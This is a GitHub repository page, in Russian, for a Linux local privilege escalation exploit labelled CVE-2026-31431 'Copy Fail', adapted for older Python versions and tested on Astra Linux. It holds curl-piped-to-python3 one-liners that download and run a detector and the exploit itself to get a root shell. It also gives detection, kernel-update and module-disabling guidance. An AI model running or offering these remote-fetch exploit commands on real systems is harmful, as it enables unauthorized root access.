Skip to content

p401a-ops/Copy-Fail

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

CVE-2026-31431 "Copy Fail" - Local Privilege Escalation

Python 3.7+ совместимая версия (включая Astra Linux)

Безопасная провера без эксплуатирования:

curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3

Эксплуатирование (когда попросит надо ввести пароль пользователя)

python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell

Данная версия эксплойта

Это форк, адаптированный для Python 3.7, 3.8, 3.9, 3.10, 3.11. Оригинальные эксплойты требуют Python 3.12+ из-за использования os.splice().

Почему не работает оригинал?

# ❌ Оригинальный эксплойт (только Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'

Что изменено в этом форке?

  • Убрана зависимость от os.splice()
  • Добавлена совместимость с Python 3.7+
  • Эксплойт протестирован на Astra Linux
  • Сохранена совместимость с современными дистрибутивами
  • Добавлен простой one-liner запуск

Примечания

  • Требуется локальный доступ к системе
  • Python должен быть установлен в системе
  • Проверено на Astra Linux CE/SE
  • Работает без Python 3.12+

###Эксплуатация на Astra Linux

Уязвимость проверена на Astra Linux. Модуль algif_aead присутствует, эксплуатация позволяет получить доступ к sudo и повысить привилегии до root.

Однако при включённом мандатном контроле доступа (МКД/Parsec) стать суперадминистратором (уровень 63 / роль astra-admin) не представляется возможным: мандатные метки ограничивают привилегии даже процесса root, и политика безопасности не позволяет пересечь установленные уровни конфиденциальности.

Таким образом: 🔴 Системы Astra Linux без МКД или с отключённым МКД — уязвимы полностью. 🟡 Системы с включённым МКД — частично защищены: получение root возможно, но реальные возможности атакующего ограничены мандатной политикой.

В обоих случаях при обнаружении уязвимости применение мер из пунктов 2 или 3 обязательно.

━━━━━━━━━━━━━━━

  1. Проверка наличия уязвимости

На каждом сервере необходимо выполнить следующую команду. Она не вносит никаких изменений в систему и только проверяет, доступен ли уязвимый модуль.

Подключиться к серверу и выполнить одной строкой:

python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + ""30 + "\n* УЯЗВИМА **\n" + ""*30)'

🔴 Если на экране появилось слово УЯЗВИМА — сервер подвержен уязвимости, необходимо перейти к пункту 2. 🟢 Если появилось сообщение об ошибке Python — сервер не подвержен уязвимости, дальнейших действий не требуется.

━━━━━━━━━━━━━━━ 2. Основное решение — обновление ядра

Необходимо обновить ядро до версии, содержащей исправление: 6.18.22, 6.19.12 или новее. До момента обновления отключение модуля из пункта 3 обеспечивает защиту.

Для Debian / Ubuntu / Astra Linux:

apt-get update apt-get dist-upgrade reboot

После перезагрузки обязательно проверить что загрузилось именно новое ядро:

uname -r

Если команда показывает версию ниже 6.18.22 — ядро не обновилось либо система загрузилась со старым образом. В этом случае необходимо убедиться что обновление было установлено (apt-get dist-upgrade не выдало ошибок) и повторить перезагрузку.

⚠️ Astra Linux 1.7.x: До выхода обновления единственной мерой защиты является отключение модуля из пункта 3. Для получения патча рекомендуется обратиться в техподдержку Astra Linux через личный кабинет.

━━━━━━━━━━━━━━━ 3. Временная мера защиты — отключение уязвимого модуля

Если обновление ядра в данный момент невозможно, в качестве временной меры рекомендуется отключить уязвимый модуль. Операция не требует перезагрузки и вступает в силу немедленно. Перед применением рекомендуется проверить изменения на тестовой среде: в редких случаях отдельные сервисы могут использовать данный модуль напрямую.

Команда для отключения модуля. Выполнить от имени root (или через sudo):

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

Первая команда запрещает загрузку модуля при следующих запусках. Вторая выгружает его прямо сейчас, если он загружен. Ошибка во второй команде — это нормально, значит модуль уже не был активен.

About

CVE-2026-31431 ("Copy Fail") vulnerability detector & exploit on Astra linux 1.7.6 with 3.7+ python

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages